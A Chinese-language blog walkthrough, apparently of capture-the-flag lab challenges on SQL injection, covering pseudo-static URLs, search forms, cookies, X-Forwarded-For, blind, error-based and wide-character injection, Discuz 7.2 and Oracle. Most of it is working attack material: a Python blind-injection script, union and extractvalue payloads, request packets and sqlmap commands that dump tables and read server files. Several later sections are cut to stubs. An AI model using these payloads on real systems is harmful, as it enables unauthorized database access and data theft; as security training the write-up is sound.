0x00 开题说明
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及
盈利等目的,否则后果自行承担!
本文首发于涂寐’s Blogs:https://0xtlu.github.io
0x01 伪静态&搜索注入
0o00 题目提示
1 | 伪静态&搜索注入 |
0o01 伪静态注入
①网站形态:分动态和静态。
②动态页面:一个页面根据用户请求,从服务器数据库中筛选出请求的内容并返回前端界面。
③静态页面:用户访问一个页面,服务器直接将该页面返回前端界面,无需数据库支持。
④伪静态页面:动态页面为提高收录率,通过某些规则将动态页面的地址转换成以 htm/html 后缀的形式(重写URL),但本质上仍为动态页面。
⑤个人理解伪静态图:
⑥伪静态判定
- 利用
动态页面最后修改时间总为当前时间,静态页面最后修改时间为文件生成时间
的特点进行判定 - 流程:htm页面–>F12–>控制台–>输入
javascript:alert(document.lastModified)
–>日期总为当前时间,为伪静态。
⑦常见伪静态:aspcms、phpweb、thinkphp框架等
0o02 利用过程
纯手工利用
①判断可能存在1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31http://47.103.94.191:8001/front/articles-1 and 1=1.html # 正常响应
http://47.103.94.191:8001/front/articles-1 and 1=2.html # 异常响应
# 伪静态中使用%20,%23,+等字符时会直接传递到URL中,但可使用块注释 /**/ 来代替空格
# 可知当前URL所请求表中含7个字段,通过sqlmap可进一步确认(news库news表)
http://47.103.94.191:8001/front/articles-2/**/order/**/by/**/7.html
http://47.103.94.191:8001/front/articles-2/**/order/**/by/**/8.html
# 布尔注入
# 当 1-true 成立,即为0,则没有文章articles-0,反之为文章articles-1
http://47.103.94.191:8001/front/articles-1-true.html
http://47.103.94.191:8001/front/articles-1-false.html
# 当前用户名长度
# 当 length(user())=13 成立(true),则 2-(length(user())=13) 得1,则显示文章articles-1,反之显示文章articles-2
# 又,通过 sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -v 3 --current-user 得用户名,test@localhost
# 故,可以确定当前用户连接用户名长度为14,注入语句成功
http://47.103.94.191:8001/front/articles-2-(length(user())=13).html
http://47.103.94.191:8001/front/articles-2-(length(user())=14).html
# 当前数据库名长度
http://47.103.94.191:8001/front/articles-1-(length(database())=3).html
http://47.103.94.191:8001/front/articles-1-(length(database())=4).html
http://47.103.94.191:8001/front/articles-1.html # 未加入单引号
http://47.103.94.191:8001/front/articles-1'.html # 加入单引号,出现异常响应②发现没有回显,写脚本进行盲注
这里脚本可以试试二分法进行盲注,可以有效降低时间复杂度。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99# !/usr/bin/env python3
from requests.sessions import session
import re
from time import sleep
"""
@Time : 2022/5/9 19:18
@Author : 涂寐
@File : d.py
@PRODUCT : PyCharm
@Description : 用于盲注 http://47.103.94.191:8001/front/articles-1%20AND%20(substring(database(),1,1)='1').html 的脚本
"""
class Riddle:
url = "http://47.103.94.191:8001/front/articles-1{}.html"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.55 '
}
estimates = "abcdefghigklmnopqrstuvwxyz0123456789@_.,{}!#^*()-+/+&~=%$"
re_title = r'<h1.*?>(.*?)</h1>'
def riddle_request(self, url: str) -> list:
"""
这是一个网络请求函数
:param url: 待请求注入的网址
:return: 存在注入的判定标识
"""
with session().get(url=url, headers=self.headers) as response:
content = response.text
title_list = re.findall(self.re_title, str(content))
return title_list
def riddle_length(self, sql_syntax: str) -> int:
"""
这是一个求取sql请求返回值长度的函数,主要使用还是看你的思维
:param sql_syntax: sql注入语句
:return: sql语句返回值的长度
"""
for num in range(1, 1024):
url = self.url.format(sql_syntax).format(num=num)
print(num, end='-')
if not self.riddle_request(url):
print(num)
return num
def riddle_estimate(self, length: int, sql_syntax: str):
"""
这是一个猜想sql请求返回具体内容的函数,主要使用还是看你的思维
:param length: 猜想长度
:param sql_syntax: sql语句
"""
flag = 0
for num in range(1, length + 1):
for estimate in self.estimates:
url = self.url.format(sql_syntax).format(num=num, estimate=estimate)
if not self.riddle_request(url):
print(estimate, end='')
sleep(1)
flag = 0
break
# 避免过多请求
if flag > 3:
print('flag大于3')
break
if __name__ == "__main__":
# 猜表名
# column_name = "table_name"
# table_name = "information_schema.columns"
# limit_name = "table_schema"
# appoint_name = "news"
# 猜字段
# column_name = "column_name"
# table_name = "information_schema.columns"
# limit_name = "table_name"
# appoint_name = "flag_is_here"
# 猜字段值
column_name = "flag_number"
table_name = "news.flag_is_here"
limit_name = "fid"
appoint_name = "1"
riddle = Riddle()
# http://47.103.94.191:8001/front/articles-1 and ((select length(group_concat(distinct table_schema)) from
# information_schema.tables)=29).html
riddle_length = riddle.riddle_length(
sql_syntax=" and ((select length(group_concat(distinct {column_name})) from {table_name} where {limit_name}='{appoint_name}'".format(
column_name=column_name, table_name=table_name, limit_name=limit_name,
appoint_name=appoint_name) + ")={num})")
# http://47.103.94.191:8001/front/articles-1 and (substring((select group_concat(distinct table_schema) from
# information_schema.tables),1,1)='i').html
riddle.riddle_estimate(
sql_syntax=r" and (substring((select group_concat(distinct {column_name}) from {table_name} where {limit_name}='{appoint_name}'".format(
column_name=column_name, table_name=table_name, limit_name=limit_name,
appoint_name=appoint_name) + "),{num},1)='{estimate}')", length=riddle_length)sqlmap利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15# 注!!!注!!!注!!!
# sqlmap一把梭时,可在存在伪静态注入点后加入 * 符号标识,具体如下
# 爆当前使用的库名
sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch –-current-db
# 爆news库下表名
sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -D "news" --tables
# 爆news库flag_is_here表下字段名
sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -D "news" -T 'flag_is_here' --columns
# 爆news库flag_is_here表fid和flag_number字段内容
sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -D "news" -T 'flag_is_here' -C 'fid,flag_number' --dump
# 最终得到
flag{c681ed59dd48ac30bfe913a4c73b2aaa}
# 注:使用 -v 参数设置sqlmap的回显等级, -v 为 3 时恰好显示注入语句
sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -v 3
0x02 SQL搜索型注入01
0o00 题目提示
1 | SQL搜索型注入01 |
0o01 利用过程
直接搜索框测试,注入点无法查看,使用 HackBar 获取post内容。
显而易见的注入点,现在构造你的语句吧
① 传递查询参数1
时,通过POST传参search=1
,查询数据库中某字段中(返回到前端的Message
列)含1
的内容,猜测SQL语句类似select column1,column2,column3 from table where like '%${parameter}%'
。
② 通过修改search=1' order by 5#
中的5
判断注入语句中的字段个数,此处为5。
③ 通过构造union
子句检测查询内容回显在前端的哪个位置search 1' union select 1,2,3,4,5#
。1
2
3
4
5
6
7
8search=1' union select 1,2,group_concat(distinct table_name),4,5 from information_schema.columns where table_schema like database()%23
得到: account,caffaine,dwvs_admin_message,dwvs_message,dwvs_user_message,dwvs_vulnerability,flag,news,user
search=1' union select 1,2,group_concat(distinct column_name),4,5 from information_schema.columns where table_name like 'flag'%23
得到: id,flag
search=1' union select 1,2,group_concat(distinct flag),4,5 from flag%23
得到:flag{8bce2844bc098845261fad79a3a56215}sqlmap测试
1
2
3
4
5# 通过 --data 参数指定提交的post数据
sqlmap -u "http://47.103.94.191:8002/search.php" --batch --data "search=1" -D 'dwvs' -T 'flag' -C 'id,flag' --dump
# 通过 -r 参数指定post请求包
sqlmap -r ./post.txt -D 'dwvs' -T 'flag' -C 'flag' --dump1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16POST /search.php
Host: 47.103.94.191:8002
Content-Length: 8
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://47.103.94.191:8002
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36 Edg/101.0.1210.39
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://47.103.94.191:8002/search.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: security_level=1; PHPSESSID=2ge1634i8bqs8o9g1nsebvsvk2
Connection: close
search=1
0x03 Cookie注入
0o00 题目提示
1 | Cookie注入 |
0o01 Cookie注入
- 原理:在动态脚本语言中存在超全局变量可以获取多种传参方式,如
php中的 $_REQUEST[] 可以获取 POST|GET|COOKIE ,但php 5.4 以上版本不再接受Cookie传参
。故,在发送请求包时,可以在请求头中添加/更改Cookie值以构造非法语句来实现注入。简而言之,修改本地Cookie值来提交非法请求。 - 使用:①通过bp抓包后添加/修改请求头Cookie值;②通过控制台执行
document.cookie="id="+escape("3")
添加/修改请求头Cookie值;③通过Cookie Editor
插件添加/修改请求头Cookie值;④通过sqlmap工具指定--cookie
参数以及指定探测等级--level
为2
级及以上。 - 时机:站点对$_GET和$_POST提交的数据进行过滤,但未对$_COOKIE提交的数据进行过滤时。
0o02 利用过程
将请求包中,
Cookie
值(没有就自己加)替换为GET
请求的URL
中?
后面部分,即id=2
。同时,删掉URL
中?
及其后面部分(截至到空格)。bp利用语句(和上一题一样猜想测试)
1
2
3
4
5
6
7
8
Cookie: id=-2 union select 1,database(),version(),group_concat(distinct table_name),5 from information_schema.columns where table_schema like database()
得到:account,sql_admin_message,sql_message,sql_user_message,sql_vulnerability,this_flag,user,users
Cookie: id=-2 union select 1,database(),version(),group_concat(distinct column_name),5 from information_schema.columns where table_name like 'this_flag'
得到:id,flag
得到:flag{d523990a3ff51ff035d5cf378f175e88},dagebiedawoF12–>Console–>使用
document.cookie="id="+escape("3")
语句修改本地保存的Cookie
值后再对http://47.103.94.191:8009/user.php
发起请求。1
2
3
4document.cookie="id="+escape("3")
document.cookie:表示当前浏览器中的cookie变量
escape():该函数用于对字符串进行编码使用
Cookie Editor
插件添加/修改本地Cookie内容,更加方便!!!sqlmap使用
1
2
3
4
5# 需要指定 --level 提高探测等级(等级2以上才会检测cookie注入),以使用更多 payload 注入
sqlmap -u 'http://47.103.94.191:8009/user.php?id=2' --batc --cookie "id=2" --dbs --level 2
# 通过 -r 参数指定post请求包,但一样要指定Cookie值,就更麻烦
sqlmap -r post.txt --batch --cookie "id=2" -D 'cookie' --tables --level 21
2
3
4
5
6
7
8
9
10
11GET /user.php
Host: 47.103.94.191:8009
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie:id=2
Connection: close
0x04 X-Forwarded-For注入
0o00 题目提示
1 | X-Forwarded-For注入 |
0o01 X-Forwarded-For注入
- 名词解析:X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。 Squid 缓存代理服务器的开发人员最早引入了这一HTTP头字段,并由IETF在HTTP头字段标准化草案中正式提出。
- 名词相关:XFF的有效使用是在保证代理服务器可信的前提下,如通过创建可信服务器白名单等。假设没有XFF等技术,则通过代理服务器的连接显示的是代理服务器的IP,而非连接发起的原始IP。即,代理服务器充当匿名服务提供者,使得连接的原始地址不可知。进而,服务对接时对恶意访问的检测和预防难度将大大增加。
- XFF格式:
X-Forwarded-For: client1, proxy1, proxy2, proxy3
0o02 利用过程
bp工具利用
1
2
3
4
5
6
7
8
9
10GET /whitelist.php
Host: 47.103.94.191:8010
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
X-Forwarded-for:'union select 1,2,3,4,5'
Connection: close1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17// 得到哪个字段回显前端-->2,3
X-Forwarded-for:'union select 1,2,3,4,5'
// 得到数据库名-->xff
X-Forwarded-for:'union select 1,database(),3,4,5'
// 得到表名-->this_flag
X-Forwarded-for:'union select 1,database(),(select group_concat(table_name) from information_schema.columns where table_schema = database()),4,5'
// 得到字段名-->flag
X-Forwarded-for:'union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema = database()),4,5'
// 得到字段内容-->flag{00b116d12ab1d53490e6b685cc7862fc}
X-Forwarded-for:'union select 1,database(),(select flag from this_flag limit 1),4,5'sqlmap利用
1
2
3
4// 按官方文档说,-H 是添加额外的请求头字段;-p 指定注入参数呗
sqlmap -u "http://47.103.94.191:8010/whitelist.php" --batch -H "X-Forwarded-For:127.0.0.1" -p "X-Forwarded-For" -D "xff" -T "this_flag" -C "flag" --dump
// 也可以直接拿bp抓取到的请求包进行 sqlmap 注入,同样要 -p 指定参数,具体看上面的注入步骤吧
0x05 POST盲注&万能密码
0o00 题目提示
1 | POST盲注&万能密码 (200分) |
0o01 漏洞1
- 别被万能密码误导,在登录框那使用万能密码登录,而实际需要的是抓取登录请求的包,以
user
和pass
参数作为注入点。
测试一波,就发现返回
Mysql Error!!
或账密不正确,so……尝试盲注注入——时间盲注1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16POST /user/logCheck.php
Host: 47.103.94.191:8003
Content-Length: 37
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://47.103.94.191:8003
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://47.103.94.191:8003/user/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=vthao53sebdao4cbvqd2bt5ji2
Connection: close
user=admin&pass=admin'&submit=submitbp利用
1 | // ddd为临时表,使用两个and关键字进行联合查询 |
- sqlmap利用
1 | // --form 参数自动获取请求页中的form表单测试 |
0o02 漏洞2
- 试了几波万能密码,
'or '1'='1
/pwd存在数据库
或admin'#
/任意字符
,具体语句:SELECT * FROM dwvs_user_message WHERE DWVS_user_name =''or '1'='1' AND DWVS_user_passwd='';
根据mysql
中and
的优先级高于or
可知,'or '1'='1
与DWVS_user_passwd='';
先做and
运算找到密码正确的记录,之后做or
运算判断DWVS_user_name
字段,此时账号存在抑或正确与否已无任何关系,仅需密码存在即可;或SELECT * FROM dwvs_user_message WHERE DWVS_user_name ='admin'# AND DWVS_user_passwd='';
通过#
注释AND DWVS_user_passwd='';
部分,使得密码无需填写,仅需账号存在即可。 - 通过
sqlmap -u "http://47.103.94.191:8003/user/login.php" --batch --random-agent --forms --sql-shell``SELECT COUNT(*) FROM dwvs_user_message;
查询,记录数是45。写入SELECT * FROM dwvs_user_message limit 5;
,读取到前5条记录,可以看到有多个账户1
,对应不同的密码,同时账户1
可以多次创建,密码不同账户不同,其他账户名不行。同时,使用1'#
账号无法登录,未理解!!! - 查看源码文件:https://github.com/bugku/BWVS/blob/master/user/logCheck.php
- bp手工布尔盲注(更新用户名处抓包):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16POST /user/updateName.php
Host: 47.103.94.191:8003
Content-Length: 32
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://47.103.94.191:8003
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.53
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://47.103.94.191:8003/user/edit.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=4s0hom06cjglakfi64fu9u0h21
Connection: close
u_id=1&user_name=1&submit=submit1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16// 请了解MySQL的case搜索函数(case when then else end,可代替where)
// rlike 运算符(REGEXP 的同义词)执行字符串表达式与模式的模式匹配--正则表达式相关。
// 举例:select 123 rlike 1。在 123 中含有 1 (模糊匹配), 则整个 select 语句返回 1,反之返回 0。
// 完整语句:UPDATE dwvs_user_message SET DWVS_user_name = '1' RLIKE (SELECT (CASE WHEN (3454=3454) THEN 1 ELSE 2 END))-- nLnq' WHERE DWVS_user_id = '1';
// 如下语句解析,CASE WHEN (3454=3454) THEN 1 ELSE 0x28 END) 中,由于 3454=3454 恒成立,则得到整个语句结果为 1;
// '1' RLIKE 1 的结果为 1,则之后的 DWVS_user_name 都设置为 1,这也是为什么出现多个以 1 为名的账户的原因。
// 注入原理:rlike遇到特殊字符'('报错缺少右括号,char(40)为'(' ,0x28为'(',则可通过修改“3454=3454”部分内容进行猜想。
// 注:请理解正则表达式语法,rlike注入的实现大致是正则表达式的语法错误(仅个人理解)。
u_id=1&user_name=1' RLIKE (SELECT (CASE WHEN (3454=3454) THEN 1 ELSE 0x28 END))-- nLnq&submit=submit
// 猜想数据库长度,正确长度为4
u_id=1&user_name=1' RLIKE (SELECT (CASE WHEN (length(database())=3) THEN 1 ELSE 0x28 END))#&submit=submit
// 猜想具体字符
u_id=1&user_name=1' RLIKE (SELECT (CASE WHEN (if((substr(database(),2,1)='W'),1,0)) THEN 1 ELSE 0x28 END))#&submit=submit
- sqlmap注入
1
2
3
4
5
6
7
8
9
10
11
12// 指定注入参数 user_name,获得三种注入方式
sqlmap -r test.txt --batch -p user_name
// 指定使用布尔盲注获取当前数据库名-->dwvs
sqlmap -r test.txt --batch -p user_name --technique B --current-db
// ……
// 拿flag-->flag{f99c688f101bb53fdbf178ad0889182e}
sqlmap -r test.txt --batch -p user_name --technique B -D dwvs -T flag -C flag --dump
// 读取源码文件/var/www/html/user/updateName.php
sqlmap -r test.txt --batch -p user_name --technique B --file-read "/var/www/html/user/updateName.php" --threads 101
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
include_once('../bwvs_config/sys_config.php');
if(isset($_POST['submit']) && !empty($_POST['user_name'])) {
# $clean_username = select_waf1($_POST['user_name']);
$clean_username = $_POST['user_name'];
# $clean_username = XSS_reg($clean_username);
$clean_user_id = clear_all($_POST['u_id']);
if(!is_numeric($clean_user_id))
{
$_SESSION['Uid_error'] = '非法的用户ID';
header('Location: edit.php');
}else{
$sql = "SELECT * FROM dwvs_user_message WHERE DWVS_user_name ="."'"."$clean_username"."'";
$data = mysqli_query($connect, $sql) or die(mysqli_error($connect));
if(mysqli_num_rows($data) == 1){
$_SESSION['update_error'] = 'error';
header('Location: edit.php');
}else{
$sql_Up = "UPDATE dwvs_user_message SET DWVS_user_name = '$clean_username' WHERE DWVS_user_id = '$clean_user_id'";
mysqli_query($connect,$sql_Up) or die(mysqli_error($connect));
mysqli_close($connect);
$_SESSION['user_name'] = $clean_username;
header('Location: edit.php');
}
}
}else{
not_find($_SERVER['PHP_SELF']);
}
0x06 SQL报错型注入
0o00 题目提示
1 | SQL报错型注入 |
0o01 漏洞一:insert报错注入
- 登录后留言界面留言并抓包,之后去重放那测试。抑或,那请求包去sqlmap那边跑,语句:
sqlmap -r test.txt --batch
或sqlmap -u "http://47.103.94.191:8004/messageSub.php" --batch --cookie "PHPSESSID=4s0hom06cjglakfi64fu9u0h21" --data "message=libai&submit=submit"
。 - 注:别退出登录(cookie失效)!!!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16POST /messageSub.php
Host: 47.103.94.191:8004
Content-Length: 27
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://47.103.94.191:8004
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.53
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://47.103.94.191:8004/message.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=4s0hom06cjglakfi64fu9u0h21
Connection: close
message=libai&submit=submit1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27// 某个位置回显数据-->仅闭合构造
// 测试字段数
message=1','2','3')#&submit=submit
// 测试回显位置
message=1','2','3','5')#&submit=submit
// 代替'3',获取版本
message=1','2',@@version,'5')#&submit=submit
// 报错注入
// 使用 extractvalue() 方法构造报错注入,得到库名-->dwvs
message=222'or extractvalue(1,concat(0x7e,database(),0x7e)))#&submit=submit
// 或使用其他字符使 xml路径 不正确
message=222'or extractvalue(1,concat('///',database())))#&submit=submit
// 得到表名-->flag
message=222'or extractvalue(1,concat('///',(select distinct(table_name) from information_schema.columns where table_schema=database() limit 6,1))))#&submit=submit
// 得到字段名-->flag
message=222'or extractvalue(1,concat('///',(select distinct(column_name) from information_schema.columns where table_name='flag' limit 1,1))))#&submit=submit
// 得到flag-->flag{690997feb8fc9341}
message=222'or extractvalue(1,concat('///',(select distinct(flag) from flag limit 0,1),'///')))#&submit=submit
0o02漏洞二:update报错注入
1 | // GeometryCollection是由1个或多个任意类几何对象构成的几何对象 |
0x07 宽字符注入
0o00 题目提示
1 | 宽字符注入 |
0o01 注入流程
- bp手注,具体内容请访问如下URL:
1 | // 回显提示:数据库没有id=-81,即不成立,则查找 1=1,为真,即id=1;之后,进行注释闭合 |
- sqlmap宽字节注入
1 | // 调用 sqlmap 的 unmagicquotes.py 脚本构造宽字符注入绕过waf |
0x08 宽字符注入02
0o00 题目提示
1 | 宽字符注入02 |
0o01 ecshop gbk存在宽字符注入
- 首页CMS信息
ECSHOP v2.7.2
- 找找度娘,杂乱无章,跑去跑目录了,不知道是官方还是大佬写的:
http://47.103.94.191:8036/readme.txt
。 - 漏洞信息:https://www.seebug.org/vuldb/ssvid-93503
- 漏洞解析(不肯定):https://www.2cto.com/Article/201301/182881.html
0o02 注入流程
- 这里想测试使用
load_file()
手工读取文件,奈何……弄不出,有懂得师傅滴滴~
1 | // 测试 |
0x09 SQL报错型注入02
0o00 题目提示
1 | SQL报错型注入02 |
0o01 Discuz! 7.2 SQL注入
- CMS呀,直接度娘搜,faq.php文件页面存在SQL注入。
1 | // PHP 指令 magic_quotes_gpc 为 on --> 作用类似 addslashes(),即对输入的字符进行转义处理。 |
- 此处不做演示(注:magic_quotes_gpc 自 PHP 5.3 已废弃,自PHP 5.4 已移除。)
- 基础理解:在PHP中,若输入为字符串STR,却使用数组方式取值时,则PHP对STR进行单字符拆分,类似C语言的字符串数组。故,在转义后 $sql[0]=’',$sql[1]=’单引号’。
1 | # 1.php |
1 | # 2.php |
- 深入理解:看大佬解析吧!!!
①https://www.t00ls.com/articles-27175.html(大致是原版,不保证)
②https://www.proyy.com/6995090823914209288.html
③https://www.leavesongs.com/discuz72-sql-injection.html - 定义数组
$groupids
,之后遍历$gids($_GET[gids])
,先将$gids
的每个元素分别赋予$row
,然后才是将$row
的第一个元素$row[0]
取出赋予$groupids[]
数组进行存储。 - 如下第一个代码块的11句,又调用了
implodeids($array)
方法,将$groupids
数组以,
分隔开,组成类似'1','2','3','4'
的字符序列。根据前面说的,'
被转义称\'
,取第一个元素为\
,则分隔后内容类似'1','2','\','4'
。即\
和它之后的'
构成转义字符\'
,\
前的'
和4
前的'
将闭合,其中内容构成新的一个字符串。故此,4
后面的单引号逃逸,在4
的位置构造注入将获得需要的数据。
1 | } elseif($action == 'grouppermission') { |
1 | function implodeids($array) { |
http://47.103.94.191:8042/faq.php?action=grouppermission&gids[2]='
直接拼入&gids[2]='&gids[3]=3&gids[4]=4
,即http://47.103.94.191:8042/faq.php?action=grouppermission&gids[2]='&gids[3]=3&gids[4]=4
。得到sql语句SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','\','3','4')
。得到 报错……for the right syntax to use near '3','4')' at line 1
,即在\'
的转义下,单引号不闭合,造成4
后的单引号逃逸直接报错。对大佬得构造语句进行理解:两重select嵌套,保证内层
select
中floor
报错执行,若实现得到有用信息,需要使用concat
方法将注入语句与floor(rand(0)*2)
进行组合,使报错时出现有用信息(仅个人理解,不保证正确)。http://47.103.94.191:8042/faq.php?action=grouppermission&gids[2]='&gids[3][0]=) and (select 1 from (select floor(rand(0)*2) as x,count(*) from mysql.user group by x)y)%23
最后构成的exp:
http://47.103.94.191:8042/faq.php?action=grouppermission&gids[2]='&gids[3][0]=) and (select 1 from (select concat(0x7e,database(),0x7e,floor(rand(0)*2)) as x,count(*) from mysql.user group by x)y)%23
0o02 注入流程
- 另一种exp利用
1 | // 拿库名 |
1 | GET /faq.php?action=grouppermission&gids[t00ls]=%27&gids[t00ls1][]=,(select%201%20from(select%20count(*),concat((select%20(select%20concat(user(),0x7e,(select%20distinct(table_name)%20from%20information_schema.columns%20limit%20173,1),0x7e))),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a))%23 |
0x0a Oracle注入
0o00 题目提示
1 | oracle注入 |
0o01 Oracle 部分知识
0b00 基础知识
- Oracle数据库的注释符,单行注释:
--
,多行注释:/**/
。 dual
:Oracle 数据库的虚表,供任意用户读取,在没有目标表的select
语句中经常用到- Oracle 数据库使用
||
拼接字符串。 - Oracle 数据库对 MySQL 数据库中
limit
关键字的表述转为使用虚表的rownum
字段判断:select * from users where rownum=1;
。 - Oracle数据库中使用双引号
"
来消除系统关键字,即某一字段能与系统关键字同名时,将该关键字用双引号引起:select "where" from tests
。 - 用户:Oracle 数据库的基本单位,类似 MySQL 数据库的库。
- 表:Oracle 的每一个用户下有表,类似 MySQL 数据库的库下的表。
- 表空间:Oracle 数据库的逻辑划分,是Oracle数据库恢复的最小单位。一个 Oracle 数据库至少有一个表空间(system表空间)。
0b01 默认表空间
- Oracle 数据库创建时,默认生成5个表空间,如下:
SYSTEM
:存储系统表和管理配置等基本信息。SYSAUX
:类似于SYSTEM,存放系统附加信息,减轻 SYSTEM 的空间负担。UNDO
:用于事务回退等。TEMP
:存储临时数据。USERS
:默认存储用户信息的表空间。
0b10 权限与用户
- 权限区分:
DBA
:系统最高权限,可创建数据库结构。resource
:仅可创建实体,不可以创建数据库结构。connect
:仅可登录 Oracle,不可以创建实体,不可以创建数据库结构。
- 默认用户区分
sys
:类似 Linux 的 root 用户,属于 DBA 角色。system
:类似 sys 用户,但缺少修改关键系统数据的权限,属于 DBA 角色。public
:类似一个数据库用户的集合,对其操作会应用到所有用户上。
0b11 部分系统表
dba_users
:数据库用户信息。dba_segments
:表段信息。dba_tablespaces
:数据库表空间信息。user_segments
:当前用户的表段信息。user_tables
:当前用户的表对象信息,常用字段:table_name
。user_tab_columns
:当前用户的表列信息,常用字段:column_name
。all_users
:数据库所有用户的信息。all_objects
:数据库所有对象的信息。all_tables
:数据库所有表对象的信息。session_roles
:会话角色信息。session_privs
:会话角色权限。v$database
:数据库信息。v$datafile
:数据文件信息。v$logfile
:日志文件信息。v$loghist
:日志历史信息。
0o02 注入流程
- 笔者不了解 Oracle 数据库,此处不做过多说明。
- 度娘找几篇 Oracle 手注文章。
- 题目为搜索型注入,直接写入
1'
报错:ORA-01756: quoted string not properly terminated
,即引用字符串未正确终止(单引号)。
1 | // 报错注入 |
1 | // 联合查询 |
0o03 参考文档
- https://www.jianshu.com/p/5ce219032823
- https://blog.csdn.net/weixin_42508548/article/details/121516717
- https://mp.weixin.qq.com/s?__biz=MzIwODAzNzcxMQ==&mid=2247483713&idx=1&sn=2ec5d7db9cc1612ded726aa16c96aff7&chksm=97087361a07ffa77a0fb73d53c626424030297e8362ffad386bbb5b12a3772359fd13eafce86&mpshare=1&scene=23&srcid=0605AN2Ie50vNytZpMqAkDcD&sharer_sharetime=1654435175432&sharer_shareid=2957c05f62be643745e32bae234d95a3#rd
- https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247489858&idx=1&sn=404e485caa4e7a537b66fa2dcdcf69dc&chksm=e89e319adfe9b88c414d20db1246404b3596b7f676cd7a042a64192442155e201f0826eae702&mpshare=1&scene=23&srcid=0606jTmPMqnguiS9U9jPMtrf&sharer_sharetime=1654481070263&sharer_shareid=2957c05f62be643745e32bae234d95a3#rd
0x0b SOAP协议注入
0b00 题目提示
1 | SOAP协议注入 |
